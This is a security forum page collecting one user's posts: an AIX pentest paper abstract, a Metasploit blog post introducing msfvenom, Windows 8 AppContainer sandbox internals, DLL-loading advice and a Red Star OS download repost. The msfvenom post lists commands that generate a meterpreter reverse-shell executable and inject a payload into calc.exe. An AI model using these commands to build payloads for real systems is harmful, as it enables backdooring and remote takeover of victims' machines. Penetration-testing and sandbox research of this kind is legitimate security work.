Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. AIX for Penetration Testers GIAC (GPEN) Gold Certification Author: Zoltan Panczel, panczelz@gmail.com Advisor: Robert!Vandenbrink Accepted: January 7th 2015 Abstract AIX is a widely used operating system by banks, insurance companies, power stations and universities. The operating system handles various sensitive or critical information for these services. There is limited public information for penetration testers about AIX hacking, compared the other common operating systems like Windows or Linux. When testers get user level access in the system the privilege escalation is difficult if the administrators properly installed the security patches. Simple, detailed and effective steps of penetration testing will be presented by analyzing the latest fully patched AIX system. Only shell scripts and the default installed tools are necessary to perform this assessment. The paper proposes some basic methods to do comprehensive local security checks and how to exploit the vulnerabilities. Download: http://www.giac.org/paper/gpen/6684/aix-penetration-testers/125890
  2. [h=1]Good-bye msfpayload and msfencode[/h]Posted by Wei Chen in Metasploit on Dec 9, 2014 2:21:03 PM Greetings all, On behalf of the Metasploit's development teams, I'd like to officially announce the decision of deprecating msfpayload and msfencode. Also starting today, we no longer support or accept patches for these two utilities. On June 8th 2015, the elderly msfpayload and msfencode will retire from the Metasploit repository, and replaced by their successor msfvenom. The tool msfvenom is the combination of msfpayload and msfencode, and has been in testing for more than 3.5 years. msfpayload and msfencode have been in service to the hacking community for almost 10 years. What's really remarkable about them is that and they've been playing a big part in the success of computer hacking on almost every level, offense or defense. As an experienced penetration tester, sometimes maybe you don't necessarily know all the exploits out there publicly, maybe you don't even care because you're such a , but I'm pretty sure you would be more than happy to bring a modified executable generated by msfpayload for an on-site gig just in case. If you're just feeling nerdy all the way, you probably "concealed-carry" a msfpayload-generated file on your USB keychain at all times, too. If you're an exploit writer, for fun or profit, even if you don't really write Metasploit modules, you probably have used msfpayload to create something for you. If you're just a security enthusiast, maybe you've even used msfpayload to impress your friends. Both msfpayload and msfencode have also had their share in the education and entertainment industry, including: books, on-line tutorials, talks at security conferences, trainings, live interviews, Youtube, etc. I can spend my entire blog talking about how people use these tools if you let me. But if you have a cool hacking story done with mostly just msfpayload, please do share in the comment section below.The second remarkable thing about msfpayload and msfencode is the people behind them. Since 2005, the tools have been fixed, improved, maintained, and documented by the open source security community. Each person has sacrificed their weekends, holidays, quality time with their friends and family to make sure the tools remain working properly. It has not been always easy, and most importantly no contributors have ever asked anything in return. If you ever run into one of these Metasploit people at a conference, make sure to buy them a drink. As we begin the final six-month journey, we'd like to encourage you to use the time to become familiar with msfvenom. If you are a tool developer that relies on msfpayload or msfencode, now is a good time to start making that migration. If you're a trainer, please update your course materials. [h=2]Basic Msfvenom Usage[/h] If you have never used msfvenom, the first thing you should do is read the help menu, and memorize some of these flags: -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads -l, --list [module_type] List a module type example: payloads, encoders, nops, all -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -f, --format <format> Output format (use --help-formats for a list) -e, --encoder [encoder] The encoder to use -a, --arch <architecture> The architecture to use --platform <platform> The platform of the payload -s, --space <length> The maximum size of the resulting payload -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread --payload-options List the payload's standard options -o, --out <path> Save the payload -v, --var-name <name> Specify a custom variable name to use for certain output formats -h, --help Show this message --help-formats List available formats Example 1: If you wish to list all the payloads available, you can do the following (also the same for listing encoders, nops, or all): ./msfvenom -l payloads Example 2: Generating a windows/meterpreter/reverse_tcp: ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe Example 3: To generate a payload that avoids certain bad characters: ./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' Example 4: To generate a payload with a specific encoder, and then encode 3 times: ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 Example 5: Inject a payload to calc.exe, and save it as new.exe ./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -k -f exe > new.exe Msfvenom is also documented [here] And that's it for today. If you find any issues with msfvenom, please report to: https://github.com/rapid7/metasploit-framework/issues Sursa: https://community.rapid7.com/community/metasploit/blog/2014/12/08/good-bye-msfpayload-and-msfencode
  3. Nu apela FreeLibrary decat daca stii ca nu mai apelezi vreo functie. LoadLibrary face multe: - citeste un fisier de pe disk - scrie datele in memorie - incarca DLL-urile importate de acel DLL - face relocari ... Sunt chestii care dureaza mult. Daca vrei sa apelezi functii dintr-un DLL, il incarci o data si apelezi metodele de care ai nevoie. Daca o sa il incarci si descarci din memorie la fiecare apel de functie, o sa mearga ca curul programul tau. Poti descarca din memorie un DLL cu GetModuleHandle (cum s-a spus mai sus) si FreeLibrary. Am vazut partial acel video. Acolo creaza un DLL si un EXE, iar EXE foloseste acel DLL. Daca te uiti atent, vei vedea ca adauga la setarile pentru linker LIB-ul acelui DLL. Acel lib face "legatura" dintre EXE si DLL, iar daca DLL-ul e creat de tine sau daca de exemplu folosesti un DLL din Windows (ex. ws2_32) ai la dispozitie acel lib necesar. Daca nu le ai, atunci poti folosi versiunea dinamica, altfel nu cred ca isi are rostul pentru ca te complici degeaba. Nota: https://www.google.com/search?q=dll+lib&ie=utf-8&oe=utf-8#safe=off&q=create+lib+from+dll
  4. Securing Microsoft Windows 8: AppContainers Posted by Andrea Allievi On luglio 5, 2013 Recently, we have been conducting an analysis concerning the new Windows 8 security features. There are few documents available in Internet about this topic and no one of them explains the entire implementations in detail. The paper has been divided in two parts because of the complexity of the topic. Microsoft engineers have done an impressive job by improving their Operating System security. They implemented the so called “mitigations”. The term is used to indicate a new specific security feature that has the aim to make more difficult a possible attack. There are several new Security mitigations: disabled Null Page allocation, Win32k System call mitigation, “Int 0x29” Security Assertions (on double linked list, GS cookie), Non-executable non paged pool, Intel SMEP technology, Intel Secure Key technology, and so on. The reader may find a lot of useful information on the following analysis paper done by MJ0011 (presented at Hitcon 2012 security conference): http://hitcon.org/2012/download/0720A5_360.MJ0011_Reversing Windows8-Interesting Features of Kernel Security.pdf Despite the effectiveness of these mitigations, we think that the most important new characteristic is the AppContainers sandbox. We will talk about it in this analysis. Windows 8 Sandbox: AppContainer & Lowbox tokens As the reader may know, the Google Chrome browser implements a great Sandbox for web pages environment, which, even if consumes a lot of system resources, it properly works: if an attacker finds a vulnerability and succeeds in his exploitation, he will get the machine control, but only in a sandboxed environment with minimal user rights and privileges. In this environment context, the attacker can do few operations: it is prevented to open a file, to read and write, to open another process. Basing on this idea, Microsoft has conducted a research and implemented its concept of Sandbox. The AppContainer and the Lowbox tokens have been thought to implement an OS Sandbox. If you have ever developed a new Metro style application, you already know that a Metro app runs in a sandboxed context (AppContainer): if you deploy your app, you have to declare your app “Capabilities”. At present, Windows 8 defines only a small set of capabilities. If, for instance, a Metro app was able to read and write the user documents, it should declare and enable the SECURITY_DOCUMENTS_LIBRARY capability in its manifest file. All this kind of requirements are documented in the MSDN for Metro-style applications. All the Metro style applications run in a context of an AppContainer, with a Lowbox token. We are going now to analyse how this sandbox has been implemented for Metro application, and especially how Lowbox tokens are created, used and destroyed. We will try to extend the AppContainer model to all others standard Win32 executable too, even if Microsoft states that the Sandboxed environment is available only for new Metro style applications. AppPackage Capabilities snapshot AppContainers Implementation Brief introduction of Metro Apps and new Start Menu The new Metro style Start menu is managed entirely by the Explorer component. At start-up time, this Windows process decides if it has to create a new Start menu by doing the following check: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 [/TD] [TD=class: crayon-code]BOOL IsDesktopWindowAlreadyPresent() { if (FindWindow(NULL, "Progman") == NULL && FindWindow(NULL, "Proxy Desktop") == NULL) return FALSE; else return TRUE; } [/TD] [/TR] [/TABLE] If the check returns TRUE, then Explorer will send a message to its other instances to properly show “Libraries” window (created and drew from a new Thread). Otherwise it will start creating the Desktop, the Tray bar and finally the new “Immersive Launcher” start menu. The new start menu is created registering a lot of Window classes (in our tests we have counted about 45 different classes). The creation process is quite entirely managed by SHDesktopMessageLoop Shell32 routine. Analysing the creation and drawing modality of new Metro interface done by Explorer process is beyond the scope of this article. We would only like to highlight some essential implementation details: Metro style interface management is implemented, in addition to the Explorer process, also in a lot of System libraries, like Shell32, ExplorerFrame and, the most important one, Twinui. The Explorer process depends on them. The Explorer process deeply uses some MS technology, like COM+ and RPC, to communicate to other needed processes The New Metro applications sandboxing and launching is administrated by the “BrokerInfrastructure” System service and by WWAHost process. Without these two components, all Metro applications could not execute. We are going to show how they interact with Explorer process. When the user launches a Metro application, clicking his own tile in Start menu, Explorer sends an RPC message to the Broker service (that runs in “svchost.exe” process context). The broker service starts its job by checking RPC parameters and, if it is all ok, it impersonates RPC Security token (of Explorer process). Then it resolves target Metro application “AppPackage” information, and adds its security attributes to impersonation token (“WIN://SYSAPPID” attribute stores App Package Id, and “WIN://PKG” stores Package name). Each registered Metro application has indeed an AppPackage context, used to save a lot of information, as the application name, the version, the capabilities and so forth. Now the token is ready to be transformed in an AppContainer. The new token will be called Lowbox Token. The broker service may create also, if necessary, a new Lowbox token and starts WWAHost process with a particular command line used to communicate target Metro application DLL. Most of the default Metro applications are indeed DLL libraries hosted by WWAHost process. Process Explorer snapshot, showing Broker service that has launched “News” Metro application in an AppContainer environment (WWAHost process In the beginning was CreateProcess API In this subsection we are going to describe entire AppContainer process token creation. The broker service indeed exploits CreateProcessAsUser API to do actual token creation. This API is used when an application would like to launch a target process in another Security context (on behalf of another user or with an impersonation token). This system interface already existed in Windows 2000, but now, in Windows 8, its functionality has been improved. Broker service indeed launches the WWAHost process specifying a new structure in CreateProcessAsUser tenth parameter: STARTUPINFOEX. According to MSDN documentation, this structure is defined as follow: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 [/TD] [TD=class: crayon-code]typedef struct _STARTUPINFOEX { STARTUPINFO StartupInfo; PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEX, *LPSTARTUPINFOEX; [/TD] [/TR] [/TABLE] lpAttributeList is an opaque attribute list structure pointer. Microsoft has provided some subsidiary system procedures to create and update the list. The only official documentation existing is the one we proposed (except for some attributes documentation).The broker service includes only one attribute in list: PROC_THREAD_ATTRIBUTE_PACKAGE_FULL_NAME. Its value is a pointer to the full Metro application Package name. Analysis of “CreateProcessAsUser” call CreateProcessAsUser is only a stub: it actually demands the entire work to its internal function CreateProcessInternalW. The latter begins with some parameters checks, it initializes its stack variables, and then it determines if EXTENDED_STARTUPINFO_PRESENT flag is present in dwCreationFlags parameter. If so, it uses BasepConvertWin32AttributeList to safely retrieve a copy of Package full name string. Then it continues processing each of the specified flags (we are not interested on details). If the package name is valid CreateProcessInternal verifies if g_bElevationPresent kernel32 symbol is set to 1: otherwise it tries to enable it with the aid of ApiSetQueryApiSetPresence function (this API seems to be able to load needed dependencies). All App Package information are retrieved thanks to BasepAppXExtension Kernel32 exported function. This is one of the key routines: its task is to open App Package and retrieve all information about it (like Capabilities, working directory and so on…). This is an internal OS function. Indeed it starts by checking the license tampering status, then it verifies the following condition: AppContainer token creation must be done from a process living in logon Session 0 (System security context) The calling process current token (primary or impersonation) must have SysAppId and Pkg Security attributes set If one of these two conditions is not satisfied, then the procedure fails with a STATUS_NOT_SUPPORTED error. Otherwise, the current token owner SID is retrieved (with GetTokenInformation Win32 API) and converted to string. This will be used to open the AppPackage registry key: AppXMiniRepository:: OpenPackageKey internal function accepts the user SID string as a parameter, it builds the AppPackage registry key in the following way: HKEY_USERS\<User SID>\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppModel\Repository\Packages\<AppContPckName> where: “AppContPckName“ is the complete name of AppPackage (for example “Microsoft.BingNews_1.2.0.135_x64__8wekyb3d8bbwe”); this name will become the “Moniker” “User SID“ is the SID of the user that owns the token impersonated by the Broker service “HKEY_USERS\<User SID>“ is the link target of HKEY_CURRENT_USER key (indeed Broker service runs in System security context, and it has not the “CurrentUser” key mapped) Control returns to GetPackageInformationForCreateProcess procedure that obtains all the necessary information reading the App Package registry key values like “PackageRootFolder” (Metro application root folder), “PackageState”, “PackageSid” (AppContainer SID). Finally it parses each of the AppContainer capabilities, reading the “CapabilitySids” and the “CapabilityCount” registry values. The App package state is verified and all its dependencies are loaded… If it all went right, BasepAppXExtension returns to caller (CreateProcessInternalW) with a structure containing all the necessary information: App container SID and associated security capabilities App Package name and full path Dependency packages full path and names A snap of “CreateProcessInternal” system routine code Now the CreateProcessInternal jumps to the main user-mode internal routine that creates LowBox token: BasepCreateLowBox. User-Mode LowBox Token Creation deep analysis The Lowbox token creation begins in BasepCreateLowBox routine. Its prototype is the following: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS BasepCreateLowBox (HANDLE hOrgToken, SECURITY_CAPABILITIES *pSecCap, HANDLE *hOutToken) [/TD] [/TR] [/TABLE] First of all the parameters are checked: whether the original Token handle is NULL, the current process token is retrieved with the aid of NtOpenProcessToken native API; if the original token is already an AppContainer, then the token is checked and duplicated with BasepCreateTokenFromLowboxToken routine and finally the function exits. In spite of we are now supposing, the majority of Lowbox token creation code is located in user-mode. Indeed if the original token is not an AppContainer, and all the checks mentioned succeed, a lot of things happen: control is transferred to BasepCreateLowBoxObjectDirectories procedure. This one accepts as an input the App Container SID and the token handle. If routine succeeded, it returns the following output: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 [/TD] [TD=class: crayon-code]typedef struct _LOWBOX_DATA { HANDLE hAppContainerDir; // + 0x00 - Handle to "\Sessions\<ID>" // "\AppContainerNamedObjects\<AppContSid>" Directory HANDLE hAppContainerRpcDir; // + 0x08 - Handle to "RPC Control" AppContainer directory HANDLE hLocalSymLink; // + 0x10 - Handle to "Local" AppContainer Symbolic link object HANDLE hGlobalSymLink; // + 0x18 - Handle to "Global" AppContainer Symbolic link object HANDLE hSessionSymLink; // + 0x20 - Handle to "Session" AppContainer Symbolic link object HANDLE hAppContNamedPipe; // + 0x28 - Handle to this App Container named pipe } LOWBOX_DATA, *PLOWBOX_DATA; [/TD] [/TR] [/TABLE] BasepCreateLowBoxObjectDirectories obtains the session ID from the original token, it converts App Container SID to string and it starts to build App container directory objects strings. Indeed each of the App Containers sandbox environments is based on Logon session boundaries. That’s why two identical App Containers can be in two different sessions. “\Sessions\<ID>\BasedNamedObjects” directory is opened (where <ID> is token Session ID) with NtOpenDirectoryObject native API; its DACL is retrieved with the Original token owner user SID. The App Container Security descriptor is built with BasepBuildPackageSecurityDescriptor, starting with obtained data. The Kernel32 module builds SID with the aid of Rtl (Runtime library) internal security functions (like RtlAllocateAndInitializeSid, RtlAddAce, RtlSetDaclSecurityDescriptor and so on…); we won’t provide here the details, we’ll only show the new SID. For further details, please contact me (andrea.allievi@saferbytes.it). The new SID is composed as follow: All Access control entries of “\Sessions\<ID>\BasedNamedObjects” Access allowed App Container SID ace – List, Add Object, Add Subdir, Delete, Read Control, Special authorization permissions Access allowed App Container SID ace, Inherit only ACE – Delete, Query state and data, Modify state, Special authorization permissions The code execution flows then it returns to the BasepCreateLowBoxObjectDirectories function. At this point the routine opens “\Sessions\<ID>\AppContainerNamedObjects” the directory object, and creates a subdirectory in it (exploiting NtCreateDirectoryObjectEx native API) called as the App Container SID and protected by the Security descriptorjust created. From now we will call the latter directory on the App Container base directory. The directory is also protected with a Low integrity level ACE placed in its SACL by BasepSetKernelIntegrityLabel routine. BasepSetKernelIntegrityLabel exploits again the Rtl* internal security functions to complete its job (in summary RtlAllocateAndInitializeSid builds the low level mandatory SID; an ACL is then built containing low level SID. RtlCreateSecurityDescriptor creates the Security descriptor that contains ACL. ACL indeed is tied to Security descriptor SACL with RtlSetSaclSecurityDescriptor routine; and finally NtSetSecurityObject sets target object security information). Snapshot of “News” Windows 8 Metro application App Container directories The process of the AppContainer directory object creation is repeated for “RPC Control” subdirectory object, starting from “\RPC Control” global directory… This time a lightly different low integrity Security descriptor (built again with BasepBuildPackageSecurityDescriptor routine) is applied from what we have seen above. BasepCreateLowBoxSymbolicLinks routine is subsequently called: its job is to create “Global”, “Local” and “Session” symbolic link in the App container base directory. It does so using NtCreateSymbolicLinkObject native API. The purpose of these links is the same as the non App Container counterparts. The execution flow returns to BasepCreateLowBoxObjectDirectories which proceeds in AppContainer named pipe creation. This pipe is used in order to communicate with the Broker service and with the system management functions. It has the following name schema: “Sessions\<ID>\AppContainerNamedObjects\ <AppContainerSID>“. The named pipe is protected by the Security descriptor of AppContainer base directory with 3 additional ACEs: All access allowed ACE granted to Administrators group Generic read and generic execute access granted to Everyone group Generic read and generic execute access granted to NT AUTHORITY\RESTRICTED At this point the BasepCreateLowBoxObjectDirectories routine job is complete. Execution control is returned to BasepCreateLowBox that now can actually create Lowbox token with the NtCreateLowBoxToken Kernel mode native API. When the token is successfully created by the kernel-mode routine, the target process is created as usual but attached to the Lowbox token. Every object and resource that the new process is going to use, it will be placed in AppContainer directory instead of regular locations. Kernel-Mode LowBox Token Creation deep analysis The Kernel mode lowbox token creation starts in NtCreateLowBoxToken exported native API. As a user mode counterpart, the API accepts an original token, and transform it in a Lowbox one. This function only does what is absolutely necessary to access directly the Token object. The rest of the work is done in user-mode, as we have already seen. Indeed the procedure assumes that the AppContainer base directory, the symbolic links, the capabilities and all the package data is already retrieved. Its function prototype is the following: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 [/TD] [TD=class: crayon-code]NTSTATUS NtCreateLowBoxToken(HANDLE * phLowBoxToken, HANDLE hOrgToken, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES * pOa, PSID pAppContainerSid, DWORD capabilityCount, PSID_AND_ATTRIBUTES capabilities, DWORD lowBoxStructHandleCount, PLOWBOX_DATA lowBoxStruct); [/TD] [/TR] [/TABLE] Now we are going to describe how the function works. First of all, as usual, the parameters are checked and captured, and, whether the API is called form the user-mode, the memory is probed. The Current process security context is checked (primary or impersonating token is obtained with SeCaptureSubjectContext routine and analysed), and, if it all is ok, the original token kernel object is retrieved with ObReferenceObjectByHandle Kernel routine. The so called “capture process” checks specifically if App Container SID and each capability SID in array is valid (RtlIsPackageSid and RtlIsCapabilitySid verify the Sid size, the integrity, the package authority ID, and the sub-authority count). Now begins the Lowbox token creation: SepDuplicateToken, as the name implies, creates a copy of the original token; we will call this copy “Lowbox” token. To ? properly form Lowbox token, NtCreateLowBoxToken first setsthe token mandatory policy to “No write up” (modifying “MandatoryPolicy” and “ModifiedId” Kernel Token structure data members; see here for an extensive description of Mandatory labels and policies). Then it exploits SepLocateTokenIntegrity routine to proper localize and set the token integrity level (stored in Token object as Group SID) value to Low (Rid value: 0x1000 – SECURITY_MANDATORY_LOW_RID). The Privilege restriction takes place: all the token privileges are stripped except for SeChangeNotifyPrivilege and SeIncreaseWorkingSetPrivilege that later will be both disabled. SepSetTokenCapabilities procedure is called to attach each capability in array to Lowbox token: the Kernel token object has indeed three data member related to capabilities: “Capabilities”, “CapabilitiesCount” and “CapabilitiesHash”. All of these are updated by SepSetTokenCapabilities. Noteworthy is the hash value: RtlSidHashInitialize function initializes and updates the capabilities hash with the aim to hinder a possible external alteration and This makes the entire architecture quite secure. When SepSetTokenCapabilities ends its job, the execution control is transferred to SepSetTokenLowboxNumber routine. It has to generate a local per-session Lowbox Token number, and to store it, together with the App Container SID and a Reference counter, in a per-session hash-table, indexed by the global kernel symbol “g_SessionLowboxArray” (stores hashes that points to SEP_LOWBOX_NUMBER_ENTRY structure). This way Windows kernel can fast(?) the lookup Lowbox tokens and Package SIDs based only on an AppContainer Number and Session ID. When the Lowbox number is correctly generated, an associated SEP_LOWBOX_NUMBER_ENTRY structure is created; the Kernel token object “LowboxNumberEntry” data member is updated to point (?) to the brand-new structure. SepSetTokenLowboxHandles routine does quite the same work we have already seen for the token unique per-session number, but this time for the AppContainer directories and symbolic-links handles created by user-mode BasepCreateLowBoxObjectDirectories procedure, and delivered to the kernel API in lowBoxStruct parameter. A SEP_LOGON_SESSION_REFERENCES structure, that describes the current logon session, is obtained from the Lowbox token kernel object. In this structure is located the per-session Lowbox handles hash-table. This table indexes SEP_LOWBOX_HANDLES_ENTRY items. Each item stores an App Container SID, a reference counter and obviously the Lowbox handles table. SepGetLowBoxHandlesEntry adds and retrieves one item from hash-table, which SepSetTokenLowboxHandles compiles with a proper Lowbox data. This way, and with the same modality already seen, Windows kernel can fast(?)the lookup AppContainer handles table with only Package SID and session ID. Once it has finished, SepSetTokenLowboxHandles updates the Kernel token object “LowboxHandlesEntry” member with a pointer to brand-new SEP_LOWBOX_HANDLES_ENTRY data structure. LowBox Kernel token object state after SepSetTokenLowboxHandles The Kernel Lowbox token creation job is quite ended: SepSetTokenPackage copies and sets App container package SID to the relative Token kernel object “Package” data member. The Token object security context is modified: a full-access allowed ACE with AppContainer SID is added to the token default DACL. This way every object created under the Low-Box security context has by default all access granted by the App Container environment. Even the security descriptor that protects the Lowbox Token is modified: A full-access allowed ACE to AppContainer SID is added A TOKEN_QUERY access allowed ACE to built-in Administrator group is added The lowbox token is therefore fully accessible only by Owner, SYSTEM account (entity inherited) and AppContainer environment. Administrators group can query only the Lowbox token. The process is complete: ObInsertObjectEx validates and inserts Lowbox token into the Object manager namespace, and it returns an associated user-handle value (valid only for calling process). The Resources are freed and the execution control returns in user-mode. Sandboxed Environment – What does it mean? If you are here it means that you have understood the LowBox token creation and implementation. But there’s still a question that need to be answered: How is a Sandbox environment managed? What about the other OS functionalities? If the reader is curious he can try to understand Google Chrome Sandbox documentation, or maybe its source code. An application launched under a LowBox token acts in a completely different way respect to a normal program: First of all, the LowBox application can only read and write the directories, the files, and the objects that have an explicit ACE in their DACL, that allows the access to the AppContianer SID. Otherwise an ACCESS_DENIED error is returned (SeAccessCheck kernel routine implement this behaviour); even an Everyone access allowed ACE denies access to the object. It’s important to note that this assertion is totally true even for Windows registry. Our tests indeed have confirmed that no kind of Virtualization has been developed for AppContainer registry access Every operation system component, whether detects that calling thread is under the Lowbox security context, checks if the token has the necessary capabilities to execute that particular block of code. To identify properly an AppContainer security context and determine if the caller can require a particular System service, Windows OS executes the following pseudocode: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [/TD] [TD=class: crayon-code]// Get if token is an AppContainer ntStatus = ZwQueryInformationToken(hToken, TokenIsAppContainer, &bIsAppContainer, sizeof(BOOL), &retLength); if (!NT_SUCCESS(ntStatus)) return NtStatusToWin32Error(ntStatus) if (bIsAppContainer) { // Query LowBox token Capabilities PTOKEN_CAPABILITIES pTokCap = NULL; // Allocate enough buffer to contains Array (call ZwQueryInformationToken with a NULL // buffer to get exactly the needed size) pTokCap = (PTOKEN_CAPABILITIES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffSize); retVal = TRUE; ntStatus = ZwQueryInformationToken(hToken, TokenCapabilities, (PVOID)pTokCap, buffSize, &retLength); if (NT_SUCCESS(ntStatus)) // Get if needed capability is present in Calling token capabilities array // PSID pNeededCapSid is needed capability retVal = IsCapabilityPresent(pNeededCapSid, pTokCap->Capabilities, pTokCap->CapabilityCount); if (!retVal || NT_ERROR(ntStatus)) return ERROR_ACCESS_DENIED; } // ...... // ... Main function body ... // ...... [/TD] [/TR] [/TABLE] We made some tests to spot the different behaviour showed by standard Windows Win32 API if called from an AppContainer security context. We will see now how to launch the standard Win32 application under an AppContainer. Our test done for INTERNET_CLIENT and PRIVATE_NETWORK_CLIENT_SERVER capabilities in network communications shows that this the capabilities checks code is implemented in network AFD kernel driver. Our Win32 application has tried to connect to the Internet and download a file, but it didn’t work without the associated enabled capabilities. The fact that the checks are implemented in Kernel mode makes the entire Sandbox much more powerful. Unfortunately, we did not identify where the Capability check of the following Metro application code snippet is performed: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 [/TD] [TD=class: crayon-code]StorageFolder sf = KnownFolders.DocumentsLibrary; StorageFile file = await sf.CreateFileAsync("Test.txt”, CreationCollisionOption.OpenIfExists); string text = await Windows.Storage.FileIO.ReadTextAsync(file); [/TD] [/TR] [/TABLE] We have also tried to translate the above snippet in Win32 code, using the standard CreateFile API or some COM+ interfaces. The Results are the same: every attempt to open and read “Test.txt” file located in “User document” folder requires an explicit ACE attached to it, that allows access to AppContainer SID, even if DOCUMENTS_LIBRARY capability is enabled in the Lowbox token. Therefore, based on our quick analysis, it seems that this time Microsoft has implemented the Capability check code in mscorlib.dll Net framework main library. We don’t know why, maybe we didn’t take some aspect into consideration. By the way understanding how every capability is checked in various operating System components can be definitively a good Research project. If some reader would like to investigate on this, please contact me (andrea.allievi@saferbytes.it). Saferbytes Win32 Appcontainer applications We have seen that to properly create a Lowbox token and to launch a Win32 application under a sandboxed environment, we have to do many things: to add the proper security attributes to the token, to create and modify the Package registry keys and, most important, we have to inject our code in a system service due to the session 0 isolation. While analysing the CreateProcessInternalW internal function we found another way to launch an application under an AppContainer. The New STARTUPINFOEX structure can contain even an instance of PROC_THREAD_SECURITY_CAPABILITIES attribute. Therefore we have to define only an App Container SID and a list of capabilities that our AppContainer will have enabled (take a look at the documented SECURITY_CAPABILITIES structure). Unfortunately it is not so simple. TokenExtCreateEnvironment kernel32 routine, that is called immediately when BasepCreateLowBox returns, lookups App Container “moniker” from system registry with the aim to create a sandboxed environment. The AppContainerLookupMoniker retrieves the calling thread token User Sid, and together with the Lowbox package SID, opens the following registry key: HKEY_USERS\<User SID>\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppContainer\Mappings\<AppContSid> Next it reads “Moniker” value. The moniker is the human readable App Container name. Moniker name is needed to create Sandboxed environment. Indeed TokenExtCreateEnvironment function creates the target application “Environment block” starting from system environment, but modifying the following three variables: “LocalAppData” is set to “<original LocalAppData>\Packages\<Moniker name>\AC” “Temp” and “Tmp”, are both set to “<original LocalAppData>\Packages\<Moniker name>\AC\Temp” We can easily deduce that the folder locate in “c:\Users\<UserName>\AppData\Local\Packages\<Moniker name>” will become the main working path for the sandboxed environment (this is not a necessary condition however); and the registry key “HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ CurrentVersion\AppContainer\Storage\<AppContSid>” will became the main working registry key. These two directories need a proper ACE to be correctly accessible as we have seen before (there are no exception from sandbox model) So, in order to create an AppContainer sandbox for our Win32 application we acted as follows: Create “Moniker” registry key and append an Access allowed ACE with Lowbox package SID in its DACL Create sandbox main directory and registry key, and append a proper ACE as seen before Create and compile a proper SECURITY_CAPABILITIES structure containing App Container SID and all enabled capabilities Finally call CreateProcessAsUser Windows API At the end, if it all has been done in the right way, the results are good, as showed in the picture below: Our test application launched in a Sandbox environment The picture shows even what we have already analysed: PRIVATE_NETWORK_CLIENT_SERVER capability allows our application to communicate with an external server, whereas DOCUMENTS_LIBRARY seems to not work. Conclusions Our analysis and tests show that Microsoft engineers have made a great job in creating a Sandboxed environment for their Operating System new applications type. We have seen that it’s possible to create an OS based sandboxed environments even for standard Win32 programs. The main problem is that there no documentation about it. We are wondering why MS doesn’t release a proper documentation about the AppContainer and the Lowbox tokens. Furthermore we have concluded that in current OS implementation there are only few capabilities available. We hope that Microsoft could release a complete set of capabilities for each Operating system component in the next Windows 8.1 OS. I developed a simple application able to define an AppContainer package, to create a proper directories and objects, and to launch standard Win32 applications under an OS sandboxed environment. We will release this in a few weeks, basing on the readers’ requests. Snapshot of Saferbytes AppContainer launcher application For today that’s all folks! We will review others Windows 8 Security capabilities in next part of analysis. A quick note: according to Davide LeBlanc thoughts (thanks for the hint), we have to clarify that Microsoft has not been inspired by Google for its sandbox. Reading developer’s blog post series about Sandbox, we can understand that there were some ideas regarding a software Sandbox at least starting from year 2008. Sursa: Securing Microsoft Windows 8: AppContainers
      • 1
      • Upvote
  5. http://torcache.net/torrent/2e85d200d81b74a57dd70dab66c81222df1cf715.torrent /\ _________________ ________/ \____________ ______________ | | _____ |slip| |\ / | |__| __ | | | ____| |___| |____| | \ /| __| ___| | ____| | | | _____| ____ | / \|__ | |__| /\ | | | | | | /___/ |/__ _\ | | \/ | | |___| |________|________| \ / |______|_____|_/\_|___| \/ Red Star OS 3.0 Desktop *retail* ```````````````````````````````` I gave you server, now here's desktop! Welcome, one and all, to best korea's Linux distro, version 3.0. Otherwise known as, "the one to prease the fappletards". Unlike server, this one doesn't need a serial, just mount in your VM and go boot from it acf53d2b50ecb1391044b343502becf5 redstar_desktop3.0_sign.iso 3eb7ca51105614f3716ceb7dad0ceda9ba0f906a redstar_desktop3.0_sign.iso 895ad0e01ae0d35a65e9ac42dd34d0a1d685d6dfa331ce5b4f24bbc753439be3 redstar_desktop3.0_sign.iso To use this, I guess you better praise juche ideals and post sincere comments about how much you love DPRK to /r/pyongyang. But don't ask about The Interview.. I've heard its a touchy subject there... Wanna ~~cyber~~ discuss this, and maybe just maybe shower me with praise? http://widget00.mibbit.com/?server=irc.ringoflightning.net&channel=%23ris&settings=fd3d000db0cd81335322e2449af35662&noServerNotices=true&autoConnect=true&nick=BestKorea????? or: irc.ringoflightning.net #RIS Or perhaps you'd like to shower me with dogecoins? DRFLRDccwLbdzgGPPADMDxZBXQxn5We3sb ~ slipstream / raylee - "pulling data out of DPRK's ass since 2014!" Sursa: Red Star 3.0 Desktop download! - Pastebin.com
  6. Nytro

    mXSS

    @ Cei care "stiu XSS"
